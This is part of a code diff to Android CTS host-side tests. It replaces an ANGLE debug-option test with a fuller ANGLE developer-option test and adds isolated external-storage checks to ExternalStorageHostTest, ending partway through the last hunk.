-package android.angle.cts;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import com.android.ddmlib.Log;
-
-import java.util.Scanner;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests ANGLE Debug Option Opt-In/Out functionality.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsAngleDebugOptionHostTest extends BaseHostJUnit4Test implements IDeviceTest {
-
-    private static final String TAG = CtsAngleDebugOptionHostTest.class.getSimpleName();
-
-    // System Properties
-    private static final String PROPERTY_DISABLE_OPENGL_PRELOADING = "ro.zygote.disable_gl_preload";
-    private static final String PROPERTY_GFX_DRIVER = "ro.gfx.driver.0";
-
-    // ANGLE
-    private static final String ANGLE_DEBUG_OPTION_PKG = "com.android.angleIntegrationTest.debugOption";
-    private static final String ANGLE_DEBUG_OPTION_CLASS = "AngleDebugOptionActivityTest";
-    private static final String ANGLE_DEBUG_OPTION_ON_METHOD = "testDebugOptionOn";
-    private static final String ANGLE_DEBUG_OPTION_OFF_METHOD = "testDebugOptionOff";
-    private static final String ANGLE_DEBUG_OPTION_APP = "CtsAngleDebugOptionTestCases.apk";
-
-    private boolean isAngleLoadable() throws Exception {
-        String propDisablePreloading = getDevice().getProperty(PROPERTY_DISABLE_OPENGL_PRELOADING);
-        String propGfxDriver = getDevice().getProperty(PROPERTY_GFX_DRIVER);
-
-        // This logic is attempting to mimic ZygoteInit.java::ZygoteInit#preloadOpenGL()
-        if (((propDisablePreloading != null) && propDisablePreloading.equals("true")) &&
-            ((propGfxDriver == null) || propGfxDriver.isEmpty())) {
-            return false;
-        }
-
-        return true;
-    }
-
-    private void enableAngle() throws Exception {
-        String developerOptionCmd = String.format("settings put global angle_enabled_app %s",
-                ANGLE_DEBUG_OPTION_PKG);
-        getDevice().executeShellCommand(developerOptionCmd);
-    }
-
-    private void disableAngle() throws Exception {
-        // FIXME -- b/117554536
-        // Once b/117555066 is fixed, the workaround here to set angle_enabled_app to the empty
-        // string can be removed and the deletion of the setting can be used instead.
-//        getDevice().executeShellCommand("settings delete global angle_enabled_app");
-        getDevice().executeShellCommand("settings put global angle_enabled_app ''");
-    }
-
-    /**
-     * Set up the Manifest file test environment.
-     */
-    @Before
-    public void setUp() throws Exception {
-        // Clear any Developer Option values
-        disableAngle();
-
-        // Uninstall old apps
-        uninstallPackage(getDevice(), ANGLE_DEBUG_OPTION_PKG);
-    }
-
-    /**
-     * Test ANGLE is loaded when the Debug Option is On.
-     */
-    @Test
-    public void testDebugOptionOn() throws Exception {
-        Assume.assumeTrue(isAngleLoadable());
-
-        // Disable ANGLE so we have a fresh enable to check
-        disableAngle();
-
-        enableAngle();
-
-        installPackage(ANGLE_DEBUG_OPTION_APP, new String[0]);
-
-        runDeviceTests(
-                ANGLE_DEBUG_OPTION_PKG,
-                ANGLE_DEBUG_OPTION_PKG + "." + ANGLE_DEBUG_OPTION_CLASS,
-                ANGLE_DEBUG_OPTION_ON_METHOD);
-    }
-
-    /**
-     * Test ANGLE is loaded when the Debug Option is Off.
-     */
-    @Test
-    public void testDebugOptionOff() throws Exception {
-        Assume.assumeTrue(isAngleLoadable());
-
-        // Enable ANGLE so that disabling it actually has something to disable.
-        enableAngle();
-
-        disableAngle();
-
-        installPackage(ANGLE_DEBUG_OPTION_APP, new String[0]);
-
-        runDeviceTests(
-                ANGLE_DEBUG_OPTION_PKG,
-                ANGLE_DEBUG_OPTION_PKG + "." + ANGLE_DEBUG_OPTION_CLASS,
-                ANGLE_DEBUG_OPTION_OFF_METHOD);
-    }
-}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
new file mode 100644
index 0000000..e973ad7
--- /dev/null
+++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java
@@ -0,0 +1,530 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.angle.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.PackageInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import com.android.ddmlib.Log;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Scanner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests ANGLE Developer Option Opt-In/Out functionality.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test implements IDeviceTest {
+
+    private static final String TAG = CtsAngleDeveloperOptionHostTest.class.getSimpleName();
+
+    // Settings.Global
+    private static final String SETTINGS_GLOBAL_ALL_USE_ANGLE = "angle_gl_driver_all_angle";
+    private static final String SETTINGS_GLOBAL_DRIVER_PKGS = "angle_gl_driver_selection_pkgs";
+    private static final String SETTINGS_GLOBAL_DRIVER_VALUES = "angle_gl_driver_selection_values";
+
+    // System Properties
+    private static final String PROPERTY_DISABLE_OPENGL_PRELOADING = "ro.zygote.disable_gl_preload";
+    private static final String PROPERTY_GFX_DRIVER = "ro.gfx.driver.0";
+
+    // ANGLE
+    private static final String ANGLE_PKG = "com.google.android.angle";
+    private static final String ANGLE_DEV_OPTION_PKG = "com.android.angleIntegrationTest.developerOption";
+    private static final String ANGLE_DEV_OPTION_SEC_PKG = "com.android.angleIntegrationTest.developerOptionSecondary";
+    private static final String ANGLE_DEV_OPTION_CLASS = "AngleDeveloperOptionActivityTest";
+    private static final String ANGLE_DEV_OPTION_DEFAULT_METHOD = "testUseDefaultDriver";
+    private static final String ANGLE_DEV_OPTION_ANGLE_METHOD = "testUseAngleDriver";
+    private static final String ANGLE_DEV_OPTION_NATIVE_METHOD = "testUseNativeDriver";
+    private static final String ANGLE_DEV_OPTION_APP = "CtsAngleDeveloperOptionTestCases.apk";
+    private static final String ANGLE_DEV_OPTION_SEC_APP = "CtsAngleDeveloperOptionSecondaryTestCases.apk";
+    private static final String ANGLE_DEV_OPTION_ACTIVITY =
+            ANGLE_DEV_OPTION_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
+    private static final String ANGLE_DEV_OPTION_SEC_ACTIVITY =
+            ANGLE_DEV_OPTION_SEC_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity";
+    private static final String ANGLE_MAIN_ACTIVTY = ANGLE_PKG + "/.MainActivity";
+
+    enum OpenGlDriverChoice {
+        DEFAULT,
+        NATIVE,
+        ANGLE
+    }
+
+    private static final Map<OpenGlDriverChoice, String> sDriverGlobalSettingMap = buildDriverGlobalSettingMap();
+    private static Map<OpenGlDriverChoice, String> buildDriverGlobalSettingMap() {
+        Map<OpenGlDriverChoice, String> map = new HashMap<>();
+        map.put(OpenGlDriverChoice.DEFAULT, "default");
+        map.put(OpenGlDriverChoice.ANGLE, "angle");
+        map.put(OpenGlDriverChoice.NATIVE, "native");
+
+        return map;
+    }
+
+    private static final Map<OpenGlDriverChoice, String> sDriverTestMethodMap = buildDriverTestMethodMap();
+    private static Map<OpenGlDriverChoice, String> buildDriverTestMethodMap() {
+        Map<OpenGlDriverChoice, String> map = new HashMap<>();
+        map.put(OpenGlDriverChoice.DEFAULT, ANGLE_DEV_OPTION_DEFAULT_METHOD);
+        map.put(OpenGlDriverChoice.ANGLE, ANGLE_DEV_OPTION_ANGLE_METHOD);
+        map.put(OpenGlDriverChoice.NATIVE, ANGLE_DEV_OPTION_NATIVE_METHOD);
+
+        return map;
+    }
+
+    private boolean isAngleLoadable() throws Exception {
+        PackageInfo anglePkgInfo = getDevice().getAppPackageInfo(ANGLE_PKG);
+        String propDisablePreloading = getDevice().getProperty(PROPERTY_DISABLE_OPENGL_PRELOADING);
+        String propGfxDriver = getDevice().getProperty(PROPERTY_GFX_DRIVER);
+
+        // Make sure ANGLE exists on the device
+        if(anglePkgInfo == null) {
+            return false;
+        }
+
+        // This logic is attempting to mimic ZygoteInit.java::ZygoteInit#preloadOpenGL()
+        if (((propDisablePreloading != null) && propDisablePreloading.equals("false")) &&
+            ((propGfxDriver == null) || propGfxDriver.isEmpty())) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private String getDevOption(String devOption) throws Exception {
+        return getDevice().getSetting("global", devOption);
+    }
+
+    private void setAndValidateAngleDevOptionPkgDriver(String pkgName, String driverValue) throws Exception {
+        CLog.logAndDisplay(LogLevel.INFO, "Updating Global.Settings: pkgName = '" +
+                pkgName + "', driverValue = '" + driverValue + "'");
+
+        getDevice().setSetting("global", SETTINGS_GLOBAL_DRIVER_PKGS, pkgName);
+        getDevice().setSetting("global", SETTINGS_GLOBAL_DRIVER_VALUES, driverValue);
+
+        String devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+        Assert.assertEquals(
+                "Developer option '" + SETTINGS_GLOBAL_DRIVER_PKGS +
+                        "' was not set correctly: '" + devOption + "'",
+                pkgName, devOption);
+
+        devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+        Assert.assertEquals(
+                "Developer option '" + SETTINGS_GLOBAL_DRIVER_VALUES +
+                        "' was not set correctly: '" + driverValue + "'",
+                driverValue, devOption);
+    }
+
+    private void startActivity(String activity) throws Exception {
+        // Run the ANGLE activity so it'll clear up any 'default' settings.
+        getDevice().executeShellCommand("am start -S -W -n \"" + activity + "\"");
+    }
+
+    private void stopPackage(String pkgName) throws Exception {
+        getDevice().executeShellCommand("am force-stop " + pkgName);
+    }
+
+    private void setAndValidatePkgDriver(String pkgName, OpenGlDriverChoice driver) throws Exception {
+        stopPackage(pkgName);
+
+        setAndValidateAngleDevOptionPkgDriver(pkgName, sDriverGlobalSettingMap.get(driver));
+
+        startActivity(ANGLE_MAIN_ACTIVTY);
+
+        CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
+                driver + ") with method '" + sDriverTestMethodMap.get(driver) + "'");
+
+        runDeviceTests(
+                pkgName,
+                pkgName + "." + ANGLE_DEV_OPTION_CLASS,
+                sDriverTestMethodMap.get(driver));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        stopPackage(ANGLE_PKG);
+        stopPackage(ANGLE_DEV_OPTION_PKG);
+        stopPackage(ANGLE_DEV_OPTION_SEC_PKG);
+        getDevice().setSetting("global", SETTINGS_GLOBAL_ALL_USE_ANGLE, "0");
+    }
+
+    /**
+     * Test ANGLE is loaded when the 'Use ANGLE for all' Developer Option is enabled.
+     */
+    @Test
+    public void testEnableAngleForAll() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_SEC_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+        getDevice().setSetting("global", SETTINGS_GLOBAL_ALL_USE_ANGLE, "1");
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+        installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_ANGLE_METHOD);
+        runDeviceTests(
+                ANGLE_DEV_OPTION_SEC_PKG,
+                ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_ANGLE_METHOD);
+    }
+
+    /**
+     * Test ANGLE is not loaded when the Developer Option is set to 'default'.
+     */
+    @Test
+    public void testUseDefaultDriver() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_DEFAULT_METHOD);
+    }
+
+    /**
+     * Test ANGLE is loaded when the Developer Option is set to 'angle'.
+     */
+    @Test
+    public void testUseAngleDriver() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_ANGLE_METHOD);
+    }
+
+    /**
+     * Test ANGLE is not loaded when the Developer Option is set to 'native'.
+     */
+    @Test
+    public void testUseNativeDriver() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_NATIVE_METHOD);
+    }
+
+    /**
+     * Test ANGLE is not loaded for any apps when the Developer Option list lengths mismatch.
+     */
+    @Test
+    public void testSettingsLengthMismatch() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE));
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+        installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_DEFAULT_METHOD);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_SEC_PKG,
+                ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_DEFAULT_METHOD);
+    }
+
+    /**
+     * Test ANGLE is not loaded when the Developer Option is invalid.
+     */
+    @Test
+    public void testUseInvalidDriver() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG, "timtim");
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_DEFAULT_METHOD);
+    }
+
+    /**
+     * Test the Developer Options can be updated to/from each combination.
+     */
+    @Test
+    public void testUpdateDriverValues() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+        for (OpenGlDriverChoice firstDriver : OpenGlDriverChoice.values()) {
+            for (OpenGlDriverChoice secondDriver : OpenGlDriverChoice.values()) {
+                CLog.logAndDisplay(LogLevel.INFO, "Testing updating Global.Settings from '" +
+                        firstDriver + "' to '" + secondDriver + "'");
+
+                setAndValidatePkgDriver(ANGLE_DEV_OPTION_PKG, firstDriver);
+                setAndValidatePkgDriver(ANGLE_DEV_OPTION_PKG, secondDriver);
+            }
+        }
+    }
+
+    /**
+     * Test different PKGs can have different developer option values.
+     * Primary: ANGLE
+     * Secondary: Native
+     */
+    @Test
+    public void testMultipleDevOptionsAngleNative() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+        installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_PKG,
+                ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_ANGLE_METHOD);
+
+        runDeviceTests(
+                ANGLE_DEV_OPTION_SEC_PKG,
+                ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                ANGLE_DEV_OPTION_NATIVE_METHOD);
+    }
+
+    /**
+     * Test the Developer Options for a second PKG can be updated to/from each combination.
+     */
+    @Test
+    public void testMultipleUpdateDriverValues() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+        installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+        // Set the first PKG to always use ANGLE
+        setAndValidatePkgDriver(ANGLE_DEV_OPTION_PKG, OpenGlDriverChoice.ANGLE);
+
+        for (OpenGlDriverChoice firstDriver : OpenGlDriverChoice.values()) {
+            for (OpenGlDriverChoice secondDriver : OpenGlDriverChoice.values()) {
+                CLog.logAndDisplay(LogLevel.INFO, "Testing updating Global.Settings from '" +
+                        firstDriver + "' to '" + secondDriver + "'");
+
+                setAndValidateAngleDevOptionPkgDriver(
+                        ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+                                sDriverGlobalSettingMap.get(firstDriver));
+
+                startActivity(ANGLE_MAIN_ACTIVTY);
+
+                CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
+                        firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver) + "'");
+
+                runDeviceTests(
+                        ANGLE_DEV_OPTION_SEC_PKG,
+                        ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                        sDriverTestMethodMap.get(firstDriver));
+
+                setAndValidateAngleDevOptionPkgDriver(
+                        ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+                                sDriverGlobalSettingMap.get(secondDriver));
+
+                startActivity(ANGLE_MAIN_ACTIVTY);
+
+                CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" +
+                        secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver) + "'");
+
+                runDeviceTests(
+                        ANGLE_DEV_OPTION_SEC_PKG,
+                        ANGLE_DEV_OPTION_SEC_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                        sDriverTestMethodMap.get(secondDriver));
+
+                // Make sure the first PKG's driver value was not modified
+                startActivity(ANGLE_MAIN_ACTIVTY);
+
+                String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+                String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+                CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+                        devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+                runDeviceTests(
+                        ANGLE_DEV_OPTION_PKG,
+                        ANGLE_DEV_OPTION_PKG + "." + ANGLE_DEV_OPTION_CLASS,
+                        ANGLE_DEV_OPTION_ANGLE_METHOD);
+            }
+        }
+    }
+
+    /**
+     * Test setting a driver to 'default' does not keep the value in the settings when the ANGLE
+     * activity runs and cleans things up.
+     */
+    @Test
+    public void testDefaultNotInSettings() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+        // Install the package so the setting isn't removed because the package isn't present.
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+
+        // Run the ANGLE activity so it'll clear up any 'default' settings.
+        startActivity(ANGLE_MAIN_ACTIVTY);
+
+        String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+        String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+        CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+                devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
+                "", devOptionPkg);
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
+                "", devOptionValue);
+    }
+
+    /**
+     * Test uninstalled PKGs have their settings removed.
+     */
+    @Test
+    public void testUninstalledPkgsNotInSettings() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        uninstallPackage(getDevice(), ANGLE_DEV_OPTION_PKG);
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+        // Run the ANGLE activity so it'll clear up any 'default' settings.
+        startActivity(ANGLE_MAIN_ACTIVTY);
+
+        String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+        String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+        CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+                devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
+                "", devOptionPkg);
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
+                "", devOptionValue);
+    }
+
+    /**
+     * Test different PKGs can have different developer option values.
+     * Primary: ANGLE
+     * Secondary: Default
+     *
+     * Verify the PKG set to 'default' is removed from the settings.
+     */
+    @Test
+    public void testMultipleDevOptionsAngleDefault() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT));
+
+        installPackage(ANGLE_DEV_OPTION_APP, new String[0]);
+        installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+        // Run the ANGLE activity so it'll clear up any 'default' settings.
+        startActivity(ANGLE_MAIN_ACTIVTY);
+
+        String devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOption + "'",
+                ANGLE_DEV_OPTION_PKG, devOption);
+
+        devOption = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOption + "'",
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE), devOption);
+    }
+
+    /**
+     * Test different PKGs can have different developer option values.
+     * Primary: ANGLE
+     * Secondary: Default
+     *
+     * Verify the uninstalled PKG is removed from the settings.
+     */
+    @Test
+    public void testMultipleDevOptionsAngleNativeUninstall() throws Exception {
+        Assume.assumeTrue(isAngleLoadable());
+
+        setAndValidateAngleDevOptionPkgDriver(ANGLE_DEV_OPTION_PKG + "," + ANGLE_DEV_OPTION_SEC_PKG,
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," +
+                        sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE));
+
+        installPackage(ANGLE_DEV_OPTION_SEC_APP, new String[0]);
+
+        // Run the ANGLE activity so it'll clear up any 'default' settings.
+        startActivity(ANGLE_MAIN_ACTIVTY);
+
+        String devOptionPkg = getDevOption(SETTINGS_GLOBAL_DRIVER_PKGS);
+        String devOptionValue = getDevOption(SETTINGS_GLOBAL_DRIVER_VALUES);
+        CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" +
+                devOptionPkg + "', driver value = '" + devOptionValue + "'");
+
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'",
+                ANGLE_DEV_OPTION_SEC_PKG, devOptionPkg);
+        Assert.assertEquals(
+                "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'",
+                sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE), devOptionValue);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 3ba96ea..a376c65 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -28,6 +28,8 @@
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.AbiUtils;
 
+import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -59,6 +61,18 @@
     private static final String MULTIUSER_APK = "CtsMultiUserStorageApp.apk";
     private static final String MULTIUSER_PKG = "com.android.cts.multiuserstorageapp";
     private static final String MULTIUSER_CLASS = MULTIUSER_PKG + ".MultiUserStorageTest";
+    private static final String MEDIA_APK = "CtsMediaStorageApp.apk";
+    private static final String MEDIA_PKG = "com.android.cts.mediastorageapp";
+    private static final String MEDIA_CLASS = MEDIA_PKG + ".MediaStorageTest";
+
+    private static final String PKG_A = "com.android.cts.storageapp_a";
+    private static final String PKG_B = "com.android.cts.storageapp_b";
+    private static final String APK_A = "CtsStorageAppA.apk";
+    private static final String APK_B = "CtsStorageAppB.apk";
+    private static final String CLASS = "com.android.cts.storageapp.StorageTest";
+
+    private static final String PERM_READ_MEDIA_IMAGES = "android.permission.READ_MEDIA_IMAGES";
+    private static final String ROLE_GALLERY = "android.app.role.GALLERY";
 
     private int[] mUsers;
 
@@ -74,11 +88,27 @@
         assertNotNull(getBuild());
     }
 
+    @Before
+    @After
+    public void cleanUp() throws DeviceNotAvailableException {
+        getDevice().uninstallPackage(NONE_PKG);
+        getDevice().uninstallPackage(READ_PKG);
+        getDevice().uninstallPackage(WRITE_PKG);
+        getDevice().uninstallPackage(MULTIUSER_PKG);
+        getDevice().uninstallPackage(PKG_A);
+        getDevice().uninstallPackage(PKG_B);
+
+        wipePrimaryExternalStorage();
+    }
+
     /**
      * Verify that app with no external storage permissions works correctly.
      */
     @Test
     public void testExternalStorageNone() throws Exception {
+        // TODO: remove this test once isolated storage is always enabled
+        Assume.assumeFalse(hasIsolatedStorage());
+
         try {
             wipePrimaryExternalStorage();
 
@@ -102,6 +132,9 @@
      */
     @Test
     public void testExternalStorageRead() throws Exception {
+        // TODO: remove this test once isolated storage is always enabled
+        Assume.assumeFalse(hasIsolatedStorage());
+
         try {
             wipePrimaryExternalStorage();
 
@@ -125,6 +158,9 @@
      */
     @Test
     public void testExternalStorageWrite() throws Exception {
+        // TODO: remove this test once isolated storage is always enabled
+        Assume.assumeFalse(hasIsolatedStorage());
+
         try {
             wipePrimaryExternalStorage();
 
@@ -147,6 +183,9 @@
      */
     @Test
     public void testExternalStorageGifts() throws Exception {
+        // TODO: remove this test once isolated storage is always enabled
+        Assume.assumeFalse(hasIsolatedStorage());
+
         try {
             wipePrimaryExternalStorage();
 
@@ -176,6 +215,34 @@
     }
 
     /**
+     * Test isolated external storage, ensuring that two apps are running in
+     * complete isolation.
+     */
+    @Test
+    public void testExternalStorageIsolated() throws Exception {
+        // TODO: remove this test once isolated storage is always enabled
+        Assume.assumeTrue(hasIsolatedStorage());
+
+        try {
+            wipePrimaryExternalStorage();
+
+            getDevice().uninstallPackage(PKG_A);
+            getDevice().uninstallPackage(PKG_B);
+
+            installPackage(APK_A);
+            installPackage(APK_B);
+
+            for (int user : mUsers) {
+                runDeviceTests(PKG_A, CLASS, "testExternalStorageIsolatedWrite", user);
